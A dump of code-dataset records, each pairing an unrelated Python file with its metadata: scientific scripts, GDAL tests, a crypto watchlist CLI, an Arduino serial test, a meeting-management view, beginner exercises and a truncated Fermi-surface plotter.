upper1)\ncutR2 = (f2['freqR'] > lower2) & (f2['freqR']< upper2)\nselectA = pd.Series(cutA1 & cutA2)\nselectR = pd.Series(cutR1 & cutR2)\nall=selectA | selectR\nprint(\"\\nTotal Y-like loci found = {}\".format(sum(all)))\n\n\n\n\n","sub_path":"scripts/chrom_allele_freq.py","file_name":"chrom_allele_freq.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"206654597","text":"from coinwrap import Market\n\nfrom aux.extract import extract_all_exchanges\nfrom aux.generic import fetch_exchanges\nfrom aux.generic import fetch_watchlist\nfrom aux.generic import verified_coin\nfrom aux.generic import read_prices\nfrom aux.generic import print_fail\nfrom aux.generic import print_warn\nfrom aux.generic import exchanges\nfrom aux.generic import watchlist\n\n\n# global var\n# ----------\nm = Market()\n\n\n# configuration\n# -------------\ndef get_path():\n # if config file not set, then return current dir\n return path\n\n\ndef set_path(newpath):\n global path\n path = ''\n # get os type and then appropriate use '$HOME' or '$home', etc...\n\n\n# common args\n# -----------\ndef add_crypto(name):\n if not verified_coin(name):\n return\n f = open(watchlist, 'a')\n if name not in open(watchlist).read():\n f.write(str(name + ' (' + m.coin(name)[0]['symbol'] + ')\\n'))\n else:\n print_warn(name + ' is already being tracked')\n f.close()\n\n\ndef remove_crypto(name):\n coins = fetch_watchlist()\n for coin in coins:\n if coin == name:\n coins.remove(coin)\n f = open(watchlist, 'w')\n for coin in coins:\n f.write(str(coin + ' (' + m.coin(coin)[0]['symbol'] + ')\\n'))\n f.close()\n\n\n# rare args\n# ---------\ndef add_exchange(name):\n if name not in extract_all_exchanges():\n print_fail('{} : exchange non-existent or mispelled'.format(name))\n return\n f = open(exchanges, 'a')\n if name not in open(exchanges).read():\n f.write(name + '\\n')\n else:\n print_warn(name + ' already exists')\n f.close()\n\n\ndef remove_exchange(name):\n arr = fetch_exchanges()\n for exchange in arr:\n if exchange == name:\n arr.remove(exchange)\n f = open(exchanges, 'w')\n for exchange in arr:\n f.write(exchange + '\\n')\n f.close()\n\n\n# numeric data display\n# --------------------\ndef get_low(symbol):\n prices = read_prices(symbol)\n low = prices[-1]\n for price in prices:\n if low > price:\n low = price\n return low\n\n\ndef get_high(symbol):\n prices = read_prices(symbol)\n high = prices[-1]\n for price in prices:\n if high < price:\n high = price\n return high\n\n\ndef get_standard_deviation(symbol):\n return\n\n\ndef get_percent_change(symbol):\n return\n\n\ndef get_simple_percent_changes(name):\n return [m.coin(name)[0]['percent_change_1h'],\n m.coin(name)[0]['percent_change_24h'],\n m.coin(name)[0]['percent_change_7d']]\n","sub_path":"src/core/commandline_operations.py","file_name":"commandline_operations.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"165150423","text":"import serial\nimport syslog\nimport time\nimport pickle\n\n\ndef ack_handshake(ard):\n '''\n Establishes a 3-step handshake with the Arduino\n '''\n ack = False\n time.sleep(5)\n ard.flush()\n\n # Send ack\n ard.write('ACK'.encode())\n print(\"Mac: sent ACK\")\n for i in range(5): # try 5 times to receive ACK\n time.sleep(1)\n ard.flush()\n msg = ard.read(ard.inWaiting())\n print(f\"Mac: received {msg}\")\n if msg.decode('utf-8') == 'ACK':\n ack = True\n # Send last ack\n print(\"Mac: sent ACK-2\")\n ard.write('ACK-2'.encode())\n break\n\n print(f'Ack handshake success? {ack}')\n return ack\n\n\n\ndef main():\n #The following line is for serial over GPIO\n port = '/dev/cu.usbmodem142301' # change this to what the Arduino Port is\n ard = serial.Serial(port,9600,timeout=5)\n\n # Initial Weights\n init_weights = pickle.load(open('../../dl/pickle_initial_model_weights.p', 'rb'))\n init_bias = [0.08060145, -0.08060154]; # bias (initial)\n init_weights.extend(init_bias) # extend bias to end of 1d weights array\n init_weights_str = (\",\".join(map(str, init_weights)) + \"|\").encode()\n print(init_weights_str)\n len_weights_str = len(init_weights_str)\n weights_iters = len_weights_str // 255\n print(len_weights_str)\n print(len(init_weights))\n\n # test_embeddings = [\n # \"0.63,0.68,0.12,0.12,0.12,-0.1\\n\",\n # \"0.1,0.0,0,0.8\\n\",\n # \"3\",\n # \"4\",\n # \"5\"\n # ]\n\n time.sleep(3) # wait for Arduino\n\n\n i = 0\n\n while (i < 1):\n # Serial write section\n # ard.flush()\n # print(\"Mac: sent embeddings\")\n # ard.write(test_embeddings[i].encode())\n # time.sleep(1) \n \n for j in range(weights_iters):\n # Serial write section\n ard.flush()\n # print(\"Mac: sent weights and bias\")\n ard.write(init_weights_str[j*255:(j+1)*255])\n\n time.sleep(1)\n\n # Read Arduino's response\n msg = ard.read(ard.inWaiting()) # read all characters in buffer\n print(f\"Arduino received {msg.decode('utf-8')} out of {len_weights_str} bytes\")\n\n # Send last remaining chars\n if weights_iters * 255 < len_weights_str:\n print(f\"last remaining: {init_weights_str[weights_iters*255:]}\")\n ard.write(init_weights_str[weights_iters*255:])\n\n output_weights_str = ''\n num_packets = 8\n for j in range(num_packets):\n time.sleep(5)\n # Read Arduino's response\n msg = ard.read(ard.inWaiting()) # read all characters in buffer\n print(f\"Server: receiving weight packet {j} out of {num_packets}\")\n output_weights_str += msg.decode(\"utf-8\")\n # print(f\"Mac: received {output_weights_str}\")\n # print(output_weights_str)\n output_weight_lst = list(map(float, output_weights_str.split()))\n print(output_weight_lst)\n print(len(output_weight_lst))\n i = i + 1\n else:\n print (\"Exiting\")\n exit()\n\n\n\n# Embeddings (every image) pickle into a file \n# Model weights (after 5 in a row) averaged together and then send back to arduino\n\n# 1. if we send data (embeddings) to arduino\n# 2. if we get embeddings from arduino, that means we need to wait like 30 seconds for each pic\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"previous_iterations/test_arduino_read_write/test_read_write.py","file_name":"test_read_write.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"311605086","text":"#!/usr/bin/env python\n###############################################################################\n# $Id$\n#\n# Project: GDAL/OGR Test Suite\n# Purpose: gdal_retile.py testing\n# Author: Even Rouault \n# \n###############################################################################\n# Copyright (c) 2010, Even Rouault \n# \n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n###############################################################################\n\n\nimport sys\nimport os\n\nsys.path.append( '../pymod' )\n\nfrom osgeo import gdal\nimport gdaltest\nimport test_py_scripts\n\n###############################################################################\n# Test gdal_retile.py\n\ndef test_gdal_retile_1():\n\n script_path = test_py_scripts.get_py_script('gdal_retile')\n if script_path is None:\n return 'skip'\n\n try:\n os.mkdir('tmp/outretile')\n except:\n pass\n\n test_py_scripts.run_py_script(script_path, 'gdal_retile', '-v -levels 2 -r bilinear -targetDir tmp/outretile ../gcore/data/byte.tif' )\n\n ds = gdal.Open('tmp/outretile/byte_1_1.tif')\n if ds.GetRasterBand(1).Checksum() != 4672:\n print(ds.GetRasterBand(1).Checksum())\n return 'fail'\n ds = None\n\n ds = gdal.Open('tmp/outretile/1/byte_1_1.tif')\n if ds.RasterXSize != 10:\n print(ds.RasterXSize)\n return 'fail'\n #if ds.GetRasterBand(1).Checksum() != 1152:\n # print(ds.GetRasterBand(1).Checksum())\n # return 'fail'\n ds = None\n\n ds = gdal.Open('tmp/outretile/2/byte_1_1.tif')\n if ds.RasterXSize != 5:\n print(ds.RasterXSize)\n return 'fail'\n #if ds.GetRasterBand(1).Checksum() != 215:\n # print(ds.GetRasterBand(1).Checksum())\n # return 'fail'\n ds = None\n\n return 'success'\n\n###############################################################################\n# Test gdal_retile.py with RGBA dataset\n\ndef test_gdal_retile_2():\n\n script_path = test_py_scripts.get_py_script('gdal_retile')\n if script_path is None:\n return 'skip'\n\n try:\n os.mkdir('tmp/outretile2')\n except:\n pass\n\n test_py_scripts.run_py_script(script_path, 'gdal_retile', '-v -levels 2 -r bilinear -targetDir tmp/outretile2 ../gcore/data/rgba.tif' )\n\n ds = gdal.Open('tmp/outretile2/2/rgba_1_1.tif')\n if ds.GetRasterBand(1).Checksum() != 35:\n gdaltest.post_reason('wrong checksum for band 1')\n print(ds.GetRasterBand(1).Checksum())\n return 'fail'\n if ds.GetRasterBand(4).Checksum() != 35:\n gdaltest.post_reason('wrong checksum for band 4')\n print(ds.GetRasterBand(4).Checksum())\n return 'fail'\n ds = None\n\n return 'success'\n\n###############################################################################\n# Cleanup\n\ndef test_gdal_retile_cleanup():\n\n lst = [ 'tmp/outretile/1/byte_1_1.tif',\n 'tmp/outretile/2/byte_1_1.tif',\n 'tmp/outretile/byte_1_1.tif',\n 'tmp/outretile/1',\n 'tmp/outretile/2',\n 'tmp/outretile',\n 'tmp/outretile2/1/rgba_1_1.tif',\n 'tmp/outretile2/2/rgba_1_1.tif',\n 'tmp/outretile2/1',\n 'tmp/outretile2/2',\n 'tmp/outretile2/rgba_1_1.tif',\n 'tmp/outretile2' ]\n for filename in lst:\n try:\n os.remove(filename)\n except:\n try:\n os.rmdir(filename)\n except:\n pass\n\n return 'success'\n\ngdaltest_list = [\n test_gdal_retile_1,\n test_gdal_retile_2,\n test_gdal_retile_cleanup\n ]\n\n\nif __name__ == '__main__':\n\n gdaltest.setup_run( 'gdal_retile' )\n\n gdaltest.run_tests( gdaltest_list )\n\n gdaltest.summarize()\n","sub_path":"autotest/pyscripts/test_gdal_retile.py","file_name":"test_gdal_retile.py","file_ext":"py","file_size_in_byte":4760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"628835251","text":"#art rat\n\n## Testing Anagram\n\na= \"art\"\nb= \"rat\"\na1=list(a)\nb1=list(b)\nif len(a) == len (b) :\n a1.sort(reverse=True)\n b1.sort(reverse=True)\n if a1 == b1 :\n print (\"PASS\")\n else :\n print (\"FAIL\")\nelse :\n print (\"Length of the strings do not match\")\n\n## Factorial of a number \n\ndef calc_Factorial (num) :\n if num ==1 or num==0 :\n return 1\n else :\n return num * calc_Factorial(num-1)\n\nprint (calc_Factorial (3))\n\n## Program to test prime number \n\ndef checkForPrimeNumber(num) :\n if num > 1: \n \n for i in range(2, num): \n \n # If num is divisible by any number between \n # 2 and n / 2, it is not prime \n if (num % i) == 0: \n print(num, \"is not a prime number\") \n break\n else: \n print(num, \"is a prime number\") \n\n else: \n print(num, \"is not a prime number\") \n\n\ncheckForPrimeNumber (6) ## checking prime number \n\n# Function for nth Fibonacci number \n\ndef Fibonacci(n): \n\tif n<0: \n\t\tprint(\"Incorrect input\") \n\t# First Fibonacci number is 0 \n\telif n==1: \n\t\treturn 0\n\t# Second Fibonacci number is 1 \n\telif n==2: \n\t\treturn 1\n\telse: \n\t\treturn Fibonacci(n-1)+Fibonacci(n-2) \n\n# Driver Program \n\nprint(Fibonacci(9)) \n\n### split array and add first 2 index values to last\n\n#def SplitAndAddArrayToTheDesiredIndexPosition() :\narr = [2,3,4,5,6,7]\narrayLength = len(arr)\narrtolist = list(arr)\nprint (arrayLength)\nprint (arrtolist)\nprint (arrtolist[0:2])\nprint (arrtolist[2:arrayLength])\nprint ((arrtolist[2:arrayLength])+(arrtolist[0:2]))\nprint (arr[::-1])\n\n\n## swap position in a list\n\n##Input : list1 = [1, 2, 3]\n ## list2 = ['a', 'b', 'c']\n##Output : [(1, 'a'), (2, 'b'), (3, 'c')]\n\nlist1 = [1,2,3,4,5,6] # swap 3 and 4 \nlist1[2] , list1[3] = list1[3] , list1[2]\nprint (list1)\nlist2 = [11,22,33,44,55,66]\nfor x in range(0,len(list1)) :\n newlist= list1[x],list2[x]\n print (newlist)\n\n","sub_path":"PythonLearning/Test3.py","file_name":"Test3.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"2119654","text":"\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nveri=pd.read_csv('x.csv')\r\n\r\naylar=veri[['Aylar']]\r\nSatislar=veri[['Satislar']]\r\n\r\nfrom sklearn.cross_validation import train_test_split\r\nx_train,x_test,y_train,y_test=train_test_split(aylar,Satislar,test_size =0.33,random_state=0)\r\n\r\n\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nlr=LinearRegression()\r\nlr.fit(x_train,y_train)\r\ntahmin=lr.predict(x_test)\r\nx_train=x_train.sort_index()\r\ny_train=y_train.sort_index()\r\n\r\n\r\nplt.plot(x_train,y_train)\r\nplt.plot(x_test,lr.predict(x_test))\r\nplt.title('aylara göre satıs')\r\nplt.xlabel('aylar')\r\nplt.ylabel('satislar')","sub_path":"regression_predict.py","file_name":"regression_predict.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"406128410","text":"from setuptools import setup\n\n\nsetup_requires = [\n 'google-cloud-logging==1.6.0',\n 'google-cloud-trace==0.19.0',\n 'grpcio==1.14.1',\n 'opencensus==0.1.5'\n]\n\ninstall_requires = [\n]\n\ndependency_links = [\n]\n\nsetup(\n name='ino-vibe-sdk',\n version='0.1.1',\n description='Ino-Vibe SDK for Python',\n author='Joonkyo Kim',\n author_email='jkkim@ino-on.com',\n packages=['inovibe'],\n include_package_data=True,\n install_requires=install_requires,\n setup_requires=setup_requires,\n dependency_links=dependency_links,\n # scripts=['manage.py'],\n entry_points={\n 'console_scripts': [\n ],\n \"egg_info.writers\": [\n \"foo_bar.txt = setuptools.command.egg_info:write_arg\",\n ],\n },\n)\n","sub_path":"pypi_install_script/ino-vibe-sdk-0.1.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"488437083","text":"from five import grok\nfrom opengever.base.browser.helper import get_css_class\nfrom opengever.base.browser.wizard import BaseWizardStepForm\nfrom opengever.base.browser.wizard.interfaces import IWizardDataStorage\nfrom opengever.base.form import WizzardWrappedAddForm\nfrom opengever.base.model import create_session\nfrom opengever.base.oguid import Oguid\nfrom opengever.base.schema import UTCDatetime\nfrom opengever.meeting import _\nfrom opengever.meeting.browser.meetings.transitions import MeetingTransitionController\nfrom opengever.meeting.browser.protocol import GenerateProtocol\nfrom opengever.meeting.browser.protocol import UpdateProtocol\nfrom opengever.meeting.committee import ICommittee\nfrom opengever.meeting.model import Meeting\nfrom opengever.repository.interfaces import IRepositoryFolder\nfrom plone import api\nfrom plone.app.contentlisting.interfaces import IContentListing\nfrom plone.app.contentlisting.interfaces import IContentListingObject\nfrom plone.dexterity.i18n import MessageFactory as pd_mf\nfrom plone.directives import form\nfrom plone.z3cform.layout import FormWrapper\nfrom Products.Five.browser import BrowserView\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\nfrom z3c.form.button import buttonAndHandler\nfrom z3c.form.field import Fields\nfrom z3c.form.form import Form\nfrom z3c.form.interfaces import HIDDEN_MODE\nfrom zope import schema\nfrom zope.component import getUtility\nfrom zope.globalrequest import getRequest\nfrom zope.i18n import translate\nfrom zope.interface import provider\nfrom zope.schema.interfaces import IContextAwareDefaultFactory\nimport json\n\n\n@provider(IContextAwareDefaultFactory)\ndef default_title(context):\n return context.Title().decode('utf-8')\n\n\nclass IMeetingModel(form.Schema):\n \"\"\"Meeting model schema interface.\"\"\"\n\n title = schema.TextLine(\n title=_(u\"label_title\", default=u\"Title\"),\n defaultFactory=default_title,\n required=True)\n\n committee = schema.Choice(\n title=_('label_committee', default=u'Committee'),\n source='opengever.meeting.CommitteeVocabulary',\n required=True)\n\n location = schema.TextLine(\n title=_(u\"label_location\", default=u\"Location\"),\n max_length=256,\n required=False)\n\n start = UTCDatetime(\n title=_('label_start', default=u\"Start\"),\n required=True)\n\n end = UTCDatetime(\n title=_('label_end', default=u\"End\"),\n required=False)\n\n\nADD_MEETING_STEPS = (\n ('add-meeting', _(u'Add Meeting')),\n ('add-meeting-dossier', _(u'Add Dossier for Meeting'))\n)\n\nAGENDAITEMS_TEMPLATE = '''\n\n'''\n\nPROPOSALS_TEMPLATE = '''\n\n'''\n\n\ndef get_dm_key(committee_oguid=None):\n \"\"\"Return the key used to store meeting-data in the wizard-storage.\"\"\"\n\n committee_oguid = committee_oguid or get_committee_oguid()\n return 'create_meeting:{}'.format(committee_oguid)\n\n\ndef get_committee_oguid():\n return Oguid.parse(getRequest().get('committee-oguid'))\n\n\nclass AddMeetingWizardStep(BaseWizardStepForm, Form):\n step_name = 'add-meeting'\n label = _('Add Meeting')\n steps = ADD_MEETING_STEPS\n\n fields = Fields(IMeetingModel)\n\n @buttonAndHandler(_(u'button_continue', default=u'Continue'), name='save')\n def handle_continue(self, action):\n data, errors = self.extractData()\n if errors:\n return\n\n committee_oguid = Oguid.for_object(self.context)\n\n dm = getUtility(IWizardDataStorage)\n dm.update(get_dm_key(committee_oguid), data)\n\n repository_folder = self.context.repository_folder.to_object\n return self.request.RESPONSE.redirect(\n '{}/add-meeting-dossier?committee-oguid={}'.format(\n repository_folder.absolute_url(), committee_oguid))\n\n @buttonAndHandler(_(u'button_cancel', default=u'Cancel'))\n def handle_cancel(self, action):\n return self.request.RESPONSE.redirect(self.context.absolute_url())\n\n def updateWidgets(self):\n super(AddMeetingWizardStep, self).updateWidgets()\n\n committee_id = self.context.load_model().committee_id\n self.widgets['committee'].mode = HIDDEN_MODE\n self.widgets['committee'].value = (str(committee_id), )\n\n def nextURL(self):\n return self._created_object.get_url()\n\n\nclass AddMeetingWizardStepView(FormWrapper, grok.View):\n grok.context(ICommittee)\n grok.name('add-meeting')\n grok.require('zope2.View')\n form = AddMeetingWizardStep\n\n def __init__(self, *args, **kwargs):\n FormWrapper.__init__(self, *args, **kwargs)\n grok.View.__init__(self, *args, **kwargs)\n\n\nclass AddMeetingDossierView(WizzardWrappedAddForm):\n grok.context(IRepositoryFolder)\n grok.name('add-meeting-dossier')\n\n typename = 'opengever.meeting.meetingdossier'\n\n def _create_form_class(self, parent_form_class, steptitle):\n class WrappedForm(BaseWizardStepForm, parent_form_class):\n step_name = 'add-meeting-dossier'\n step_title = steptitle\n steps = ADD_MEETING_STEPS\n label = _(u'Add Dossier for Meeting')\n\n passed_data = ['committee-oguid']\n\n @buttonAndHandler(pd_mf(u'Save'), name='save')\n def handleAdd(self, action):\n # create the dossier\n data, errors = self.extractData()\n if errors:\n self.status = self.formErrorsMessage\n return\n\n committee_oguid = get_committee_oguid()\n dossier = self.create_meeting_dossier(data)\n meeting = self.create_meeting(dossier, committee_oguid)\n\n api.portal.show_message(\n _(u\"The meeting and its dossier were created successfully\"),\n request=self.request,\n type=\"info\")\n\n committee = committee_oguid.resolve_object()\n return self.request.RESPONSE.redirect(\n '{}#meetings'.format(committee.absolute_url()))\n\n @buttonAndHandler(pd_mf(u'Cancel'), name='cancel')\n def handleCancel(self, action):\n committee_oguid = get_committee_oguid()\n\n dm = getUtility(IWizardDataStorage)\n dm.drop_data(get_dm_key(committee_oguid))\n\n committee = committee_oguid.resolve_object()\n return self.request.RESPONSE.redirect(committee.absolute_url())\n\n def create_meeting_dossier(self, data):\n obj = self.createAndAdd(data)\n if obj is not None:\n # mark only as finished if we get the new object\n self._finishedAdd = True\n return obj\n\n def create_meeting(self, dossier, committee_oguid):\n dm = getUtility(IWizardDataStorage)\n data = dm.get_data(get_dm_key())\n data['dossier_oguid'] = Oguid.for_object(dossier)\n meeting = Meeting(**data)\n meeting.initialize_participants()\n session = create_session()\n session.add(meeting)\n session.flush() # required to create an autoincremented id\n\n dm.drop_data(get_dm_key())\n return meeting\n\n return WrappedForm\n\n def __call__(self):\n title_key = 'form.widgets.IOpenGeverBase.title'\n\n if title_key not in self.request.form:\n dm = getUtility(IWizardDataStorage)\n data = dm.get_data(get_dm_key())\n\n start_date = api.portal.get_localized_time(datetime=data['start'])\n default_title = _(u'Meeting on ${date}',\n mapping={'date': start_date})\n self.request.set(title_key, default_title)\n\n return super(AddMeetingDossierView, self).__call__()\n\n\nclass MeetingView(BrowserView):\n\n has_model_breadcrumbs = True\n\n template = ViewPageTemplateFile('templates/meeting.pt')\n\n def __init__(self, context, request):\n super(MeetingView, self).__init__(context, request)\n self.model = self.context.model\n\n def __call__(self):\n return self.template()\n\n def get_css_class(self, document):\n \"\"\"used for display icons in the view\"\"\"\n return get_css_class(document)\n\n def transition_url(self, transition):\n return MeetingTransitionController.url_for(\n self.context, self.model, transition.name)\n\n def unscheduled_proposals(self):\n return self.context.get_unscheduled_proposals()\n\n def get_protocol_document(self):\n if self.model.protocol_document:\n return IContentListingObject(\n self.model.protocol_document.resolve_document())\n\n def url_protocol(self):\n return self.model.get_url(view='protocol')\n\n def url_generate_protocol(self):\n if not self.model.has_protocol_document():\n return GenerateProtocol.url_for(self.model)\n else:\n return UpdateProtocol.url_for(self.model)\n\n def has_protocol_document(self):\n return self.model.has_protocol_document()\n\n def url_download_protocol(self):\n if self.has_protocol_document:\n return self.model.protocol_document.get_download_url()\n\n def url_agendaitem_list(self):\n return self.model.get_url(view='agenda_item_list')\n\n def url_manually_generate_excerpt(self):\n return self.model.get_url(view='generate_excerpt')\n\n def transitions(self):\n return self.model.get_state().get_transitions()\n\n def agenda_items(self):\n return self.model.agenda_items\n\n def manually_generated_excerpts(self):\n docs = [excerpt.resolve_document()\n for excerpt in self.model.excerpt_documents]\n\n return IContentListing(docs)\n\n def render_handlebars_agendaitems_template(self):\n label_edit_cancel = translate(_('label_edit_cancel', default='Cancel'), context=self.request)\n label_edit_save = translate(_('label_edit_save', default='Save'), context=self.request)\n label_edit_action = translate(_('label_edit_action', default='edit title'), context=self.request)\n label_delete_action = translate(_('label_delete_action', default='delete this agenda item'), context=self.request)\n label_decide_action = translate(\n _('label_decide_action', default='Decide this agenda item'),\n context=self.request)\n label_reopen_action = translate(\n _('label_reopen_action', default='Reopen this agenda item'),\n context=self.request)\n label_revise_action = translate(\n _('label_revise_action', default='Revise this agenda item'),\n context=self.request)\n return AGENDAITEMS_TEMPLATE % {\n 'label_edit_cancel': label_edit_cancel,\n 'label_edit_save': label_edit_save,\n 'label_edit_action': label_edit_action,\n 'label_delete_action': label_delete_action,\n 'label_decide_action': label_decide_action,\n 'label_reopen_action': label_reopen_action,\n 'label_revise_action': label_revise_action,\n }\n\n def render_handlebars_proposals_template(self):\n label_schedule = translate(_('label_schedule', default='Schedule'), context=self.request)\n label_no_proposals = translate(_('label_no_proposals', default='No proposals submitted'), context=self.request)\n return PROPOSALS_TEMPLATE % {'label_schedule': label_schedule,\n 'label_no_proposals': label_no_proposals}\n\n def json_is_editable(self):\n return json.dumps(self.model.is_editable())\n\n def json_is_agendalist_editable(self):\n return json.dumps(self.model.is_agendalist_editable())\n\n @property\n def url_update_agenda_item_order(self):\n return '{}/agenda_items/update_order'.format(self.context.absolute_url())\n\n @property\n def url_list_agenda_items(self):\n return '{}/agenda_items/list'.format(self.context.absolute_url())\n\n @property\n def url_schedule_text(self):\n return '{}/agenda_items/schedule_text'.format(self.context.absolute_url())\n\n @property\n def url_schedule_paragraph(self):\n return '{}/agenda_items/schedule_paragraph'.format(self.context.absolute_url())\n\n @property\n def url_list_unscheduled_proposals(self):\n return '{}/unscheduled_proposals'.format(self.context.absolute_url())\n\n @property\n def msg_unexpected_error(self):\n return translate(_('An unexpected error has occurred',\n default='An unexpected error has occurred'),\n context=self.request)\n","sub_path":"opengever/meeting/browser/meetings/meeting.py","file_name":"meeting.py","file_ext":"py","file_size_in_byte":15222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"650170304","text":"import sys\n\nif __name__ == '__main__':\n s = sys.stdin.readline().strip()\n # print(s)\n\n s = s.lower()\n\n d = dict()\n for char in s:\n if char not in {'b', 'n', 't', 'w', 'z', 'j', 'e', 's', 'y', 'x', 'm', 'i', 'r', 'g', 'v', 'o', 'q', 'a', 'l',\n 'k', 'f', 'u', 'p', 'd', 'c', 'h'}:\n continue\n if d.get(char):\n d[char] += 1\n if d[char] == 3:\n print(ord(char) - 96)\n break\n else:\n d[char] = 1\n","sub_path":"sxf/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"282869515","text":"import requests\nimport requests_mock\nimport tempfile\n\nfrom unittest.mock import MagicMock\n\nfrom mozapkpublisher.common.utils import load_json_url, file_sha512sum, download_file\n\n\ndef test_load_json_url(monkeypatch):\n response_mock = MagicMock()\n response_mock.json = MagicMock()\n monkeypatch.setattr(requests, 'get', lambda url: response_mock)\n load_json_url('https://dummy-url.tld')\n response_mock.json.assert_called_once_with()\n\n\ndef test_download_file(monkeypatch):\n with requests_mock.Mocker() as m:\n origin_data = b'a' * 1025\n m.get('https://dummy-url.tld/file', content=origin_data)\n\n with tempfile.NamedTemporaryFile() as temp_file:\n download_file('https://dummy-url.tld/file', temp_file.name)\n temp_file.seek(0)\n data = temp_file.read()\n assert data == origin_data\n\n\ndef test_file_sha512sum():\n with tempfile.NamedTemporaryFile() as temp_file:\n temp_file.write(b'known sha512')\n temp_file.seek(0)\n\n assert file_sha512sum(temp_file.name) == '0b1622c08ae1fcffe9f0d1dd17fe273d7e8c96668981c8a38f6bbfa4f757b30af0\\\ned2aabf90f1f8a5983082a0b88194fe81bc850d3019fd9eca9328584227c84'\n","sub_path":"mozapkpublisher/test/common/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"296921156","text":"#!/usr/bin/env python3\n\nfrom queue_thread import QueueThread\n\n__author__ = 'vita'\n\n\nclass _FanoItem:\n\t\"\"\"Fano items\"\"\"\n\tdef __init__(self, alpha, weight):\n\t\tself.alpha = alpha\n\t\tself.weight = weight\n\t\tself.code = ''\n\n\nclass FanoWorker(QueueThread):\n\tdef __init__(self):\n\t\tsuper(FanoWorker, self).__init__(target=self.fano)\n\n\t@staticmethod\n\tdef split(items):\n\t\tm = 1\n\t\tsum1 = items[0].weight\n\t\tsum2 = sum(i.weight for i in items[m:])\n\n\t\tif sum1 >= sum2:\n\t\t\treturn m\n\n\t\twhile sum1 < sum2:\n\t\t\tsum1 += items[m].weight\n\t\t\tsum2 -= items[m].weight\n\t\t\tm += 1\n\n\t\treturn m - 1\n\n\tdef fano(self, items):\n\t\tn = FanoWorker.split(items)\n\n\t\tfor x in items[:n]:\n\t\t\tx.code += '1'\n\t\tfor x in items[n:]:\n\t\t\tx.code += '0'\n\n\t\tif n > 1:\n\t\t\tself.put(items[:n])\n\t\tif n < len(items) - 1:\n\t\t\tself.put(items[n:])\n\n\nclass Fano:\n\t\"\"\"Fano main class\"\"\"\n\n\t__MAX_WORKERS = 3\n\n\tdef __init__(self):\n\t\tsuper(Fano, self).__init__()\n\n\t@staticmethod\n\tdef __sort(items):\n\t\titems.sort(key=lambda x: (x.weight, x.alpha), reverse=True)\n\n\t@staticmethod\n\tdef run(alpha):\n\t\titems = [_FanoItem(k, v) for k, v in alpha.items()]\n\t\tFano.__sort(items)\n\t\tworker = FanoWorker()\n\t\tfor x in range(Fano.__MAX_WORKERS):\n\t\t\tworker.start()\n\t\tworker.put(items)\n\t\tworker.join()\n\t\treturn items\n","sub_path":"fano.py","file_name":"fano.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"124637453","text":"import sys\n\ndef mySqrt(x):\n \"\"\"\n :type x: int\n :rtype: int\n \"\"\"\n l, r = 1, sys.maxsize\n while l < r:\n m = (l + r) // 2\n if m * m < x:\n l = m + 1\n else:\n r = m\n if r * r > x:\n return r - 1\n return r\n\nprint(mySqrt(143))","sub_path":"1-100/easy/69. Sqrt(x).py","file_name":"69. Sqrt(x).py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"468978737","text":"\"\"\"\nThis module implements a plotter for the Fermi-Surface of a material\ntodo:\n* Remap into Brillioun zone (Wigner Seitz cell)\n* Get Latex working for labels\n* Do projections onto arbitrary surface\n* Comment more\n* Think about classes/methods, maybe restructure depending on sumo layout\n\"\"\"\n\nfrom typing import Any, List, Optional, Tuple\n\nimport colorlover as cl\nimport numpy as np\nfrom monty.dev import requires\nfrom monty.json import MSONable\n\nfrom ifermi.brillouin_zone import ReciprocalCell\nfrom ifermi.fermi_surface import FermiSurface\nfrom pymatgen.symmetry.bandstructure import HighSymmKpath\n\ntry:\n import plotly\nexcept ImportError:\n plotly = False\n\ntry:\n import mayavi.mlab as mlab\nexcept ImportError:\n 